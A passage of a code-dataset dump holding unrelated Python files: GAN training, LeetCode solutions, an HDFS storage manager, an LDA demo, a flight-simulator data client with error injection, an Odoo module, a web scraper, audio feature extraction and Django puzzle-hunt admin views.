batch_generators.batch_gen_utils import get_two_classes_celeba, get_anime, get_women_UTKFACE, get_old_young_UTKFACE\nfrom neural_nets.cycle_gan import CycleGan\n\n\ncrop_size = 100\nlr = .0001\nbatch_size = 32\nwasserstein = False\n\n########################\n# Batch gen\n########################\n\n#women, men = get_two_classes_celeba('sex')#get_women_UTKFACE()\nold, young = get_old_young_UTKFACE()\n#anime = get_anime()\n\nbatchgen = TwoClassBatchGenerator(file_list_a=old, file_list_b=young, height=crop_size, width=crop_size)\n#\n# n, p = batchgen.generate_batch(12)\n#\n# n = np.concatenate([n[0:6]], axis=0)\n# n = n.reshape([crop_size * 6, crop_size, 3])\n# p = np.concatenate([p[0:6]], axis=0)\n# p = p.reshape([crop_size * 6, crop_size, 3])\n# t = np.concatenate([n, p], axis=1)\n#\n# plt.imshow(t)\n\n\n########################\n# Cycle Gan\n########################\n\ngan = CycleGan(cycle_weight=10,\n crop_size=crop_size,\n wasserstein=wasserstein)\n\ni = 0\nwhile True:\n i += 1\n\n a_real_batch, b_real_batch = batchgen.generate_batch(batch_size)\n a_real_batch, b_real_batch = (a_real_batch * 2) - 1, (b_real_batch * 2) - 1\n\n # train G a+b\n g_summary_opt = gan.sess.run([gan.g_train_op], feed_dict={gan.a_real: a_real_batch, gan.b_real: b_real_batch})\n\n # train D a\n d_summary_a_opt = gan.sess.run([gan.d_a_train_op], feed_dict={gan.a_real: a_real_batch, gan.b_real: b_real_batch})\n\n # train D b\n d_summary_b_opt = gan.sess.run([gan.d_b_train_op], feed_dict={gan.a_real: a_real_batch, gan.b_real: b_real_batch})\n\n # save sample\n if i % 100 == 0:\n a2b_output, a2b2a_output, b2a_output, b2a2b_output = gan.sess.run([gan.a2b, gan.a2b2a, gan.b2a, gan.b2a2b],\n feed_dict={gan.a_real: a_real_batch[0:1],\n gan.b_real: b_real_batch[0:1]})\n sample = np.concatenate(\n [a_real_batch[0:1], a2b_output, a2b2a_output, b_real_batch[0:1], b2a_output,\n b2a2b_output], axis=0)\n sample = sample.reshape(crop_size * 6, crop_size, 3)\n save_path = 'samples/cycle_gan_sample_{}.jpg'.format(i)\n imsave(save_path, sample)\n print('Sample saved to {}.'.format(save_path))\n\n # save model\n if i % 10000 == 0:\n save_path = gan.saver.save(gan.sess, 'models/cycle_gan_{}.ckpt'.format(i))\n print('Model saved to {}.'.format(save_path))","sub_path":"train_cycle_gan.py","file_name":"train_cycle_gan.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"237101476","text":"# The guess API is already defined for you.\n# @param num, your guess\n# @return -1 if my number is lower, 1 if my number is higher, otherwise return 0\n# def guess(num):\nimport time\n\n'''Return returns NONE if you do not write return statements in all the cases of if else while using a recursive function like below'''\n'''Convert recursive calls to binary search using while loop as below.'''\ndef guess(x,my_num):\n if x == my_num:\n return 0\n elif x < my_num:\n return \\\n +1\n else:\n return -1\n\n\nclass Solution(object):\n left = 0\n right = None\n\n def guessNumber(self, n, mynumber):\n print(\"n is \", n)\n\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n\n check = guess(n, mynumber)\n\n while check != 0:\n if check == -1:\n\n self.right = n\n return (self.guessNumber(n - int((self.right- self.left) / 2), mynumber))\n else:\n self.left = n\n return (self.guessNumber(n + int((self.right-self.left) / 2), mynumber))\n\n return n\n\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n my_num = 50\n x = (sol.guessNumber(1000, my_num))\n print(\"Your number is \",x)","sub_path":"LeetCode_Problems/Binary_Search/Number_Guessing.py","file_name":"Number_Guessing.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"334498920","text":"import contextlib\nimport logging\nimport os\nimport tempfile\nfrom typing import Iterator, Optional\n\nfrom hdfs.client import InsecureClient\n\nfrom determined_common import util\nfrom determined_common.storage.base import StorageManager, StorageMetadata\n\n\nclass HDFSStorageManager(StorageManager):\n \"\"\"\n Store and load checkpoints from HDFS.\n \"\"\"\n\n def __init__(\n self,\n hdfs_url: str,\n hdfs_path: str,\n user: Optional[str] = None,\n temp_dir: Optional[str] = None,\n ) -> None:\n super().__init__(temp_dir if temp_dir is not None else tempfile.gettempdir())\n\n self.hdfs_url = hdfs_url\n self.hdfs_path = hdfs_path\n self.user = user\n\n self.client = InsecureClient(self.hdfs_url, root=self.hdfs_path, user=self.user)\n\n @util.preserve_random_state\n def post_store_path(self, storage_id: str, storage_dir: str, metadata: StorageMetadata) -> None:\n \"\"\"post_store_path uploads the checkpoint to hdfs and deletes the original files.\"\"\"\n try:\n logging.info(\"Uploading storage {} to HDFS\".format(storage_id))\n result = self.client.upload(metadata, storage_dir)\n\n logging.info(\"Uploaded storage {} to HDFS path {}\".format(storage_id, result))\n finally:\n self._remove_checkpoint_directory(metadata.storage_id)\n\n @contextlib.contextmanager\n def restore_path(self, metadata: StorageMetadata) -> Iterator[str]:\n logging.info(\"Downloading storage {} from HDFS\".format(metadata.storage_id))\n\n self.download(metadata)\n\n try:\n yield os.path.join(self._base_path, metadata.storage_id)\n finally:\n self._remove_checkpoint_directory(metadata.storage_id)\n\n @util.preserve_random_state\n def download(self, metadata: StorageMetadata) -> None:\n self.client.download(metadata.storage_id, self._base_path, overwrite=True)\n\n @util.preserve_random_state\n def delete(self, metadata: StorageMetadata) -> None:\n logging.info(\"Deleting storage {} from HDFS\".format(metadata.storage_id))\n self.client.delete(metadata.storage_id, recursive=True)\n","sub_path":"common/determined_common/storage/hdfs.py","file_name":"hdfs.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"402206442","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n'''LDA实现二分类'''\n'''自己生成一个数据集:'''\ndef createDataSet():\n\t#类别1\n X1 = np.mat(np.random.random((8, 2)) * 5 + 15)\n #类别2\n X2 = np.mat(np.random.random((8, 2)) * 5 + 2)\n return X1, X2\n\n'''求各个属性的均值:'''\ndef average(dataset):\n\tave = []\n\ta, b = np.shape(dataset)\n\tfor i in range(b):\n\t\tn = np.sum(dataset[:,i]) / a\n\t\tave.append(n)\n\treturn np.array(ave)\n\n'''求单一类的类内散度矩阵:'''\ndef compute_sw(dataset, ave):\n\tsw = 0\n\ta, b = np.shape(dataset)\n\tfor i in range(a - 1):\n\t\tsw += np.dot(dataset[i,:] - ave, (dataset[i,:] - ave).T)\n\treturn np.array(sw)\n\n'''根据方向向量求直线方程 (X - x1)/w[0] = (Y - y1)/w[1]'''\ndef getLine(w,x1_x):\n\t'''\n\t:param w: 方向向量\n\t:param dot: 某一个样本\n\t:return: x,y\n\t'''\n\tx = np.linspace(0,30,2)\n\tprint(\"x\",x)\n\n\tdot_1 = x1_x[0,0]\n\tdot_2 = x1_x[0,1]\n\n\ty = w[1] * (x - dot_1 * 2) / (w[0] * 2) + (dot_2 * 2)\n\treturn x,y\n\nif __name__ == '__main__':\n\tx1_x, x2_x = createDataSet()\n\tx1_x_ave = average(x1_x)\n\tx2_x_ave = average(x2_x)\n\tprint(x1_x)\n\n\t#因为有些矩阵是没有逆矩阵的,为了使任意数据集都有结果,我们使用广义逆矩阵:\n\tx1_sw = compute_sw(x1_x, x1_x_ave)\n\tx2_sw = compute_sw(x2_x, x2_x_ave)\n\tSw = x1_sw + x2_sw\n\n\t# 求广义逆\n\tpinv = np.linalg.pinv(Sw)\n\n\t#求最佳方向w:w = S_w^{−1}(μ1 - μ2)\n\tw = np.multiply(x1_x_ave - x2_x_ave, pinv)[0, :]\n\tprint(w)\n\n\tplt.figure(figsize=(16,8))\n\tplt.subplot(121)\n\tplt.title(\"LDA前\")\n\tplt.scatter(x = [x1_x[:,0]],y = [x1_x[:,1]],label=\"c1\")\n\tplt.scatter(x = [x2_x[:,0]],y = [x2_x[:,1]],label=\"c2\")\n\tplt.scatter(x = x1_x_ave[0], y = x1_x_ave[1],label=\"c1 ave\")\n\tplt.scatter(x = x2_x_ave[0], y = x2_x_ave[1],label=\"c2 ave\")\n\tplt.legend()\n\n\tplt.subplot(122)\n\tplt.title(\"LDA后\")\n\tx,y = getLine(w,x1_x)\n\tplt.plot(x,y,label=\"LDA line\")\n\tplt.scatter(x=[x1_x[:, 0]], y=[x1_x[:, 1]], label=\"c1\")\n\tplt.scatter(x=[x2_x[:, 0]], y=[x2_x[:, 1]], label=\"c2\")\n\tplt.scatter(x=x1_x_ave[0], y=x1_x_ave[1], label=\"c1 ave\")\n\tplt.scatter(x=x2_x_ave[0], y=x2_x_ave[1], label=\"c2 ave\")\n\tplt.legend()\n\tplt.show()","sub_path":"疲劳检测/综述整理/疲劳检测的发展/code/LDA.py","file_name":"LDA.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"217137060","text":"#!/usr/bin/env python3\n\"\"\"\nGiven a collection of numbers that might contain duplicates, return all possible unique permutations.\n\nEXAMPLES:\n\n Input: [1,1,2]\n Output: [\n [1,1,2],\n [1,2,1],\n [2,1,1]\n ]\n\nNOTE:\n - Work on permutation.py first.\n\nREFERENCE:\n - https://leetcode.com/problems/permutations-ii/ (Medium)\n - https://www.geeksforgeeks.org/distinct-permutations-string-set-2/\n\n\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n def permute_unique(self, nums: List[int]) -> List[List[int]]:\n \"\"\"Use a set to track visited characters.\"\"\"\n if not nums:\n return []\n\n def helper(vals):\n \"\"\"Returns a list of lists\"\"\"\n n = len(vals)\n if n == 1:\n return [vals]\n else:\n results = list()\n visited = set()\n for i in range(n):\n if vals[i] in visited:\n continue\n v = vals.pop(i) # remove the i-th elmeent\n for r in helper(vals):\n results.append([v] + r)\n vals.insert(i, v) # backtrack\n visited.add(v)\n\n return results\n\n return helper(nums)\n\n\ndef main():\n test_data = [\n [1, 1, 2],\n [3, 3, 0, 3],\n [2, 2, 1, 1],\n ]\n\n sol = Solution()\n for nums in test_data:\n print(\"# Input = {}\".format(nums))\n print(\" Output = {}\".format(sol.permute_unique(nums)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python3/recursion/permutations_2.py","file_name":"permutations_2.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"589335333","text":"import socket\nimport matplotlib as mpl\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport csv\nimport pandas as pd\nimport time\nimport os\nfrom itertools import islice\nfrom datetime import datetime\nimport pytz \nimport threading\nimport random\n\n''' variables and their Xplane counterparts\nr_t #_real,_time, v_a #_Vind,_kias, v_g #Vtrue,_ktgs, v_t #Vtrue,_ktas, a_a #hpath,__deg, w_v #vpath,__deg, w_a #_fuel,_1_lb, a_g #_fuel,_7_lb, alpha #\n'''\n\n#debug = True shows print statements for debugging\nDEBUG = False\n\n#enter error to inject here\nINJECT_ERROR = (100 + random.uniform(-.5,.5))\n\nCORRECT_FLAG = True\ndef tcpClient():\n\t#client side socket\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ts.connect(('127.0.0.1', 8888)) #address of where pilots server is listening\n\tfirst=\"#aoa,v\" + '\\r\\n' \n\ts.sendall(first.encode())\n\tlineNum = 2\n\twhile True:\n\t\tlineNum += 1\n\t\tprint('\\n',lineNum)\n\t\tif CORRECT_FLAG == False:\n\t\t\tif DEBUG: print(\"ERROR MODE!\") \n\t\t\terror = INJECT_ERROR\n\t\telse:\n\t\t\tif DEBUG: print(\"Normal Mode.\")\n\t\t\terror = 1\n\n\t\twith open('Data.txt') as csvfile:\n\t\t\tfor skip in range(lineNum):\n\t\t\t\tnext(csvfile)\n\t\t\treadCSV = csv.reader(csvfile, delimiter='|')\n\t\t\tfor row in readCSV:\n\t\t\t\tv_t=(float((row[9]).strip()))\n\t\t\t\ta_a=(float((row[22]).strip()))\n\t\t\t\tw_v=(float((row[23]).strip()))\n\t\t\t\talpha=(float((row[20]).strip())) * error #error added to alpha \n\t\t\t\tcsvfile.close()\t\n\t\t\t\tdt = datetime.now().isoformat()\n\t\t\t\tdate =dt[:10]\n\t\t\t\thour = dt[11:13] +\"00\"\n\t\t\t\tmint = dt[14:16]\n\t\t\t\tsec = dt[17:19]\n\t\t\t\tmsec = dt[20:23]\n\t\t\t\tdata = \":\"+date+\" \"+ hour+mint+sec+msec+\"-0500:\"+str(alpha)+','+str(v_t)+ '\\r\\n'\n\t\t\t\ts.sendall(data.encode())\n\t\t\t\tif DEBUG:print(\"sent\", data)\n\t\t\t\tbreak\t \n\t\t\ttime.sleep(1.0)\t \n\ndef errorInjector():\n\tglobal CORRECT_FLAG\n\twhile True:\n\t\tinp = input()\n\t\tif inp == 1:\n\t\t\tCORRECT_FLAG = False\n\t\telse:\n\t\t\tCORRECT_FLAG = True\n\n\nthread1 = threading.Thread(target=tcpClient)\nthread2 = threading.Thread(target=errorInjector)\n\nthread1.start()\nthread2.start()","sub_path":"misc/x.py","file_name":"x.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"328537400","text":"# -*- coding: utf-8 -*-\nfrom odoo import fields, models, api\nfrom odoo.tools.translate import _\nimport collections\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass SIIXMLEnvio(models.Model):\n _inherit = 'sii.xml.envio'\n\n def init_params(self, ): \n signature_d = self.user_id.get_digital_signature(self.company_id)\n if not signature_d:\n raise UserError(_('''There is no Signer Person with an \\\n authorized signature for you in the system. Please make sure that \\\n 'user_signature_key' module has been installed and enable a digital \\\n signature, for you or make the signer to authorize you to use his \\\n signature.'''))\n params = collections.OrderedDict() \n if \"AEC_\" in self.name: \n params['emailNotif'] = self.env.user.email \n else: \n params['rutSender'] = signature_d['subject_serial_number'][:8] \n params['dvSender'] = signature_d['subject_serial_number'][-1] \n params['rutCompany'] = self.company_id.vat[2:-1]\n params['dvCompany'] = self.company_id.vat[-1]\n params['archivo'] = (self.name, self.xml_envio, \"text/xml\")\n return params \n\n def procesar_recepcion(self, retorno, respuesta_dict):\n _logger.warning(respuesta_dict)\n if respuesta_dict.get('RECEPCIONAEC') and respuesta_dict['RECEPCIONAEC']['STATUS'] != '0':\n _logger.warning(connection_status[respuesta_dict['RECEPCIONDTE']['STATUS']])\n elif respuesta_dict.get('RECEPCIONAEC'):\n retorno.update({'state': 'Enviado','sii_send_ident': respuesta_dict['RECEPCIONAEC']['TRACKID']})\n else:\n super(SIIXMLEnvio, self).procesar_recepcion(retorno, respuesta_dict)\n return retorno","sub_path":"models/sii_xml_envio.py","file_name":"sii_xml_envio.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"135359677","text":"#line 297 \"interscript/src/compilers.ipk\"\nimport os\nimport sys\nimport string\n\nclass config:\n def __init__(self,**kwds):\n self.libdirs = []\n self.incdirs = []\n self.libs = []\n self.macros = {}\n self.switches = {}\n self.extra = ''\n self.append_dict(kwds)\n\n def copy(self):\n c = config()\n c.libdirs = self.libdirs[:]\n c.incdirs = self.incdirs[:]\n c.libs = self.libs[:]\n c.macros = self.macros.copy()\n c.switches = self.switches.copy()\n c.extra = self.extra\n return c\n\n def append_kwds(self,**kwds):\n self.append_dict(kwds)\n\n def append_dict(self,kwds):\n if 'libdirs' in kwds:\n self.libdirs[-1:-1]=kwds['libdirs']\n if 'incdirs' in kwds:\n self.incdirs[-1:-1]=kwds['incdirs']\n if 'libs' in kwds:\n self.libs[-1:-1]=kwds['libs']\n if 'extra' in kwds:\n self.extra = self.extra + ' ' + kwds['extra']\n if 'macros' in kwds:\n macros = kwds['macros']\n for macro in macros:\n self.macros[macro] = macros[macro]\n if 'switches' in kwds:\n switches = kwds['switches']\n for switch in switches:\n self.switches[switch] = switches[switch]\n\n def __str__(self):\n s = self.extra\n for x in self.libdirs: s = s + ' -L' + x\n for x in self.incdirs : s = s + ' -I' + x\n for x in self.libs: s = s + ' -l' + x\n for x in list(self.macros.keys()):\n s = s + ' -D' + x\n if self.macros[x]: s = s + '=' + self.macros[x]\n for x in list(self.switches.keys()):\n s = s + ' -' + x + self.switches[x]\n return s\n\n","sub_path":"buildsystem/interscript/compilers/cconfig.py","file_name":"cconfig.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"17493250","text":"# -*- coding: utf-8 -*-\r\n# @Date : 2017/3/5 18:51\r\n# @Author : Wilson\r\n# @Version : 0.8\r\n\r\n# 导入库文件\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport re\r\n\r\n\r\n# 网络请求的请求头\r\n# headers = {\r\n# 'User-Agent': '',\r\n# 'cookie': ''\r\n# }\r\nclass Baiduzhidao_spider():\r\n url = 'https://zhidao.baidu.com/search?word=%s&ie=utf-8&site=-1&sites=0&date=0&pn=%s'\r\n # 构造爬取函数\r\n def get_page(self,url,keyword, data=None):\r\n # 获取URL的requests\r\n wb_data = requests.get(url)\r\n wb_data.encoding = ('gbk')\r\n soup = BeautifulSoup(wb_data.text, 'lxml')\r\n\r\n # 定义爬取的数据\r\n titles = soup.select('a.ti')\r\n answer_times = soup.select('dd.dd.explain.f-light > span:nth-of-type(1)')\r\n answer_users = soup.select('dd.dd.explain.f-light > span:nth-of-type(2) > a')\r\n answers = soup.select('dd.dd.explain.f-light > span:nth-of-type(3) > a')\r\n agrees = soup.select('dd.dd.explain.f-light > span.ml-10.f-black')\r\n answer_summarys=soup.select('dd.answer')\r\n # agrees.encoding = ('gbk')\r\n result=[]\r\n # 在获取到的数据提取有效内容\r\n if data == None:\r\n i=0\r\n for title, answer_time, answer_user, answer, agree,answer_summary in zip(titles, answer_times, answer_users, answers, agrees,answer_summarys):\r\n data = [\r\n title.get_text(),\r\n answer_time.get_text(),\r\n answer_user.get_text(),\r\n answer.get_text(),\r\n agree.get_text().strip(),\r\n answer_summary.get_text(),\r\n keyword\r\n ]\r\n i+=1\r\n print(i,keyword,data)\r\n result.append(data)\r\n # saveFile(data)\r\n return result\r\n\r\n # 迭代页数\r\n def get_more_page(self,keyword,start, end):\r\n result=[]\r\n for one in range(start, end, 10):\r\n result.extend(self.get_page(self.url % (keyword,str(one)),keyword))\r\n time.sleep(2)\r\n return result\r\n def getQA(self,keyword,pages):\r\n return self.get_more_page(keyword,0,int(pages) * 10)\r\n # 定义保存文件函数\r\n # def saveFile(data):\r\n # path = \"./1233.txt\"\r\n # file = open(path, 'a')\r\n # file.write(str(data))\r\n # file.write('\\n')\r\n # file.close()\r\n\r\n\r\n# 主体\r\n# 定义爬取关键词、页数\r\nkeyword ='故宫博物院%20占地面积'# input('请输入关键词\\n')\r\npages = '2'#input('请输入页码\\n')\r\n\r\n# 定义将要爬取的URL\r\n\r\n# spider=Baiduzhidao_spider()\r\n# # 开始爬取\r\n# spider.get_more_page(keyword,0, int(pages) * 10)\r\n\r\n","sub_path":"baiduzhidao_test.py","file_name":"baiduzhidao_test.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"411453518","text":"from pydub import AudioSegment as AS\nimport numpy as np\nimport pickle\nimport sys\nimport os\nimport feature_extraction as fe\nimport h5py\n\ndef die_with_usage():\n '''HELP MENU'''\n print('USAGE: python prepare_datasets.py [path to MSD mp3 data]')\n sys.exit(0)\n\n\n# transfer the m4a file to wav format and return the new file path\ndef m4a_to_wav(path):\n song = AS.from_file(path,format='m4a')\n new_path = path[:-3]+'wav'\n new_song = song.export(new_path,format='wav')\n return new_path\n\n# segment the song in the specified path\n# number is the segment number\n# length is the duration of the segment\ndef segment(path,length,number):\n song = AS.from_wav(path)\n for i in range(number):\n time = np.random.rand()*song.duration_seconds*1000\n segment = song[time:time+length]\n segment.export(path[:-4]+'_{}.wav'.format(i),format='wav')\n\n# getting the features of all songs in the path and putting these features and labels to a matrix\n# the return value is the matrix ,the dimension is 37\ndef extracting_features(path):\n # data is a n*37 matrix, 1~34 dimensions are the features,\n # the first dimension is the zero_crossing_rate\n # 2-14 dimensions is the mfcc features\n # 15-26 dimensions is the chroma features\n # 27 dimension is the spectral centroid feature\n # 28-34 is the spectral contrast\n\n\n if path.endswith('.m4a'):\n wav_path = m4a_to_wav(path)\n\n zcr = fe.zero_crossing_rate_feature_extraction(wav_path).T\n mfcc = fe.MFCC_feature_extraction(wav_path,13).T\n chroma = fe.CENS_extraction(wav_path).T\n SCe = fe.spectral_centroid_extraction(wav_path).T\n SCo = fe.spectral_contrast_extraction(wav_path).T\n\n features = np.column_stack((zcr,mfcc,chroma,SCe,SCo))\n return features\n else:\n return\n\n\n\n# segment the data to x and y\ndef get_x_y(data):\n x = data[:,:34]\n y = data[:,34:37]\n return x, y\n\n\n# python prepare_datasets.py rootpath hdf5_File_Name\n'''\nWe can use the py file to split songs and extract the features for each singer \nthe file folder format is \"singerName_gender_genre\"\n'''\n\nif __name__ == '__main__':\n # python prepare_datasets.py path\n if len(sys.argv)<2:\n die_with_usage()\n\n # create a hdf5 file\n data = h5py.File('data','w')\n\n # walk_dir = the input path\n walk_dir = sys.argv[1]\n print('walk_dir = '+ walk_dir)\n\n # walk the walk_dir\n '''\n root:the root path\n subdirs:the sub file folders\n files:the file in the root path\n '''\n for root,subdirs,files in os.walk(walk_dir):\n i = 0\n for subdir in subdirs:\n subdir_path = os.path.join(root,subdir)\n singer_information = subdir.split('_')\n group = data.create_group('{}'.format(i))\n i = i+1\n for subroot,subsubdir,subfiles in os .walk(subdir_path):\n j = 0\n for subfile in subfiles:\n subfile_path = os.path.join(subroot,subfile)\n\n # through the subfile_path to get the feature matrix\n feature_matrix = extracting_features(subfile_path)\n group.create_dataset('{}'.format(j),dtype = np.float32,data = feature_matrix)\n group['{}'.format(j)].attrs['name'] = singer_information[0]\n group['{}'.format(j)].attrs['gender'] = singer_information[1]\n group['{}'.format(j)].attrs['genre'] = singer_information[2]\n j=j+1\n\n '''\n data = extracting_features(walk_dir)\n x,y = get_x_y(data)\n x = x.astype(np.float32)\n y = y.astype(np.string_)\n\n\n f = h5py.File('data','w')\n X = f.create_group('X')\n Y = f.create_group('Y')\n X.create_dataset('zero_crossing_rate',data = x[:,0])\n X.create_dataset('mfcc',data = x[:,1:14])\n X.create_dataset('chroma',data = x[:,14:26])\n X.create_dataset('spectral_centroid',data = x[:,26])\n X.create_dataset('spectral_contrast', data = x[:,26:34])\n Y.create_dataset('name',data = y[:,0])\n Y.create_dataset('gender',data = y[:,1])\n Y.create_dataset('genre',data = y[:,2])\n '''\n\n\n\n\n\n","sub_path":"prepare_datasets.py","file_name":"prepare_datasets.py","file_ext":"py","file_size_in_byte":4149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"609742007","text":"from datetime import datetime\nfrom dateutil import tz\nfrom django.conf import settings\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.core.mail import EmailMessage\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.http import HttpResponse, HttpResponseNotFound, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.utils import timezone\nimport itertools\nimport json\nimport networkx as nx\n\nfrom .models import Submission, Hunt, Team, Puzzle, Unlock, Solve, Message, Person, Prepuzzle\nfrom .forms import SubmissionForm, UnlockForm, EmailForm\nfrom .utils import unlock_puzzles, download_puzzle, download_prepuzzle\n\n\n@staff_member_required\ndef queue(request, page_num=1):\n \"\"\"\n A view to handle queue response updates via POST, handle submission update requests via AJAX,\n and render the queue page. Submissions are pre-rendered for standard and AJAX requests.\n \"\"\"\n\n if request.method == 'POST':\n form = SubmissionForm(request.POST)\n if not form.is_valid():\n return HttpResponse(status=400)\n response = form.cleaned_data['response']\n s = Submission.objects.get(pk=form.cleaned_data['sub_id'])\n s.response_text = response\n s.modified_date = timezone.now()\n s.save()\n submissions = [s]\n\n elif request.is_ajax():\n last_date = datetime.strptime(request.GET.get(\"last_date\"), '%Y-%m-%dT%H:%M:%S.%fZ')\n last_date = last_date.replace(tzinfo=tz.gettz('UTC'))\n submissions = Submission.objects.filter(modified_date__gt = last_date).exclude(team__location=\"DUMMY\")\n\n else:\n hunt = Hunt.objects.get(is_current_hunt=True)\n submissions = Submission.objects.filter(puzzle__hunt=hunt).exclude(team__location=\"DUMMY\").select_related('team', 'puzzle').order_by('-pk')\n pages = Paginator(submissions, 30)\n try:\n submissions = pages.page(page_num)\n except PageNotAnInteger:\n submissions = pages.page(1)\n except EmptyPage:\n submissions = pages.page(pages.num_pages)\n\n form = SubmissionForm()\n try:\n last_date = Submission.objects.latest('modified_date').modified_date.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n except:\n last_date = timezone.now().strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n submission_list = [render_to_string('queue_row.html', {'submission': submission}, request=request) for submission in submissions]\n\n if request.is_ajax() or request.method == 'POST':\n context = {'submission_list': submission_list, 'last_date': last_date}\n return HttpResponse(json.dumps(context))\n else:\n context = {'form': form, 'page_info': submissions,\n 'submission_list': submission_list, 'last_date': last_date}\n return render(request, 'queue.html', context)\n\n\n@staff_member_required\ndef progress(request):\n \"\"\"\n A view to handle puzzle unlocks via POST, handle unlock/solve update requests via AJAX,\n and render the progress page. Rendering the progress page is extremely data intensive and so\n the view involves a good amount of pre-fetching.\n \"\"\"\n\n if request.method == 'POST':\n if \"action\" in request.POST:\n if request.POST.get(\"action\") == \"unlock\":\n form = UnlockForm(request.POST)\n if form.is_valid():\n t = Team.objects.get(pk=form.cleaned_data['team_id'])\n p = Puzzle.objects.get(puzzle_id=form.cleaned_data['puzzle_id'])\n if(p not in t.unlocked.all()):\n u = Unlock.objects.create(team=t, puzzle=p, time=timezone.now())\n return HttpResponse(json.dumps(u.serialize_for_ajax()))\n else:\n return HttpResponse(status=200)\n if request.POST.get(\"action\") == \"unlock_all\":\n p = Puzzle.objects.get(pk=request.POST.get('puzzle_id'))\n response = []\n for team in p.hunt.team_set.all():\n if(p not in team.unlocked.all()):\n u = Unlock.objects.create(team=team, puzzle=p, time=timezone.now())\n response.append(u.serialize_for_ajax())\n return HttpResponse(json.dumps(response))\n return HttpResponse(status=400)\n\n elif request.is_ajax():\n update_info = []\n if not (\"last_solve_pk\" in request.GET and\n \"last_unlock_pk\" in request.GET and\n \"last_submission_pk\" in request.GET):\n return HttpResponse(status=404)\n results = []\n\n last_solve_pk = request.GET.get(\"last_solve_pk\")\n solves = list(Solve.objects.filter(pk__gt=last_solve_pk))\n for i in range(len(solves)):\n results.append(solves[i].serialize_for_ajax())\n\n last_unlock_pk = request.GET.get(\"last_unlock_pk\")\n unlocks = list(Unlock.objects.filter(pk__gt=last_unlock_pk))\n for i in range(len(unlocks)):\n results.append(unlocks[i].serialize_for_ajax())\n\n last_submission_pk = request.GET.get(\"last_submission_pk\")\n submissions = list(Submission.objects.filter(pk__gt=last_submission_pk))\n for i in range(len(submissions)):\n results.append(submissions[i].serialize_for_ajax())\n\n if(len(results) > 0):\n update_info = [Solve.objects.latest('id').id]\n update_info.append(Unlock.objects.latest('id').id)\n update_info.append(Submission.objects.latest('id').id)\n response = json.dumps({'messages': results, 'update_info': update_info})\n return HttpResponse(response)\n\n else:\n curr_hunt = Hunt.objects.get(is_current_hunt=True)\n teams = curr_hunt.real_teams.all().order_by('team_name')\n puzzles = curr_hunt.puzzle_set.all().order_by('puzzle_number')\n # An array of solves, organized by team then by puzzle\n # This array is essentially the grid on the progress page\n # The structure is messy, it was built part by part as features were added\n sol_array = []\n for team in teams:\n # These are defined to reduce DB queries\n solved = team.solved.all() # puzzles\n unlocked = team.unlocked.all() # puzzles\n solves = team.solve_set.select_related('submission') # solves\n unlocks = team.unlock_set.all() # unlocks\n submissions = team.submission_set.all() # submissions\n\n # Basic team information for row headers\n # The last element ('cells') is an array of the row's data\n sol_array.append({'team': team, 'num': len(solved), 'cells': []})\n # What goes in each cell (item in \"cells\") is based on puzzle status\n for puzzle in puzzles:\n # Solved => solve object and puzzle id\n if puzzle in solved:\n sol_array[-1]['cells'].append([solves.get(puzzle=puzzle).submission.submission_time,\n puzzle.puzzle_id])\n # Unlocked => Identify as unlocked, puzzle id, and unlock time\n elif puzzle in unlocked:\n unlock_time = unlocks.get(puzzle=puzzle).time\n puzzle_submissions = submissions.filter(puzzle=puzzle)\n if(puzzle_submissions.exists()):\n last_sub_time = puzzle_submissions.latest('id').submission_time\n else:\n last_sub_time = None\n sol_array[-1]['cells'].append([\"unlocked\", puzzle.puzzle_id, unlock_time, last_sub_time])\n # Locked => Identify as locked and puzzle id\n else:\n sol_array[-1]['cells'].append([\"locked\", puzzle.puzzle_id])\n try:\n last_solve_pk = Solve.objects.latest('id').id\n except Solve.DoesNotExist:\n last_solve_pk = 0\n try:\n last_unlock_pk = Unlock.objects.latest('id').id\n except Unlock.DoesNotExist:\n last_unlock_pk = 0\n try:\n last_submission_pk = Submission.objects.latest('id').id\n except Submission.DoesNotExist:\n last_submission_pk = 0\n context = {'puzzle_list': puzzles, 'team_list': teams, 'sol_array': sol_array,\n 'last_unlock_pk': last_unlock_pk, 'last_solve_pk': last_solve_pk,\n 'last_submission_pk': last_submission_pk}\n return render(request, 'progress.html', context)\n\n\n@staff_member_required\ndef charts(request):\n \"\"\" A view to render the charts page. Mostly just collecting and 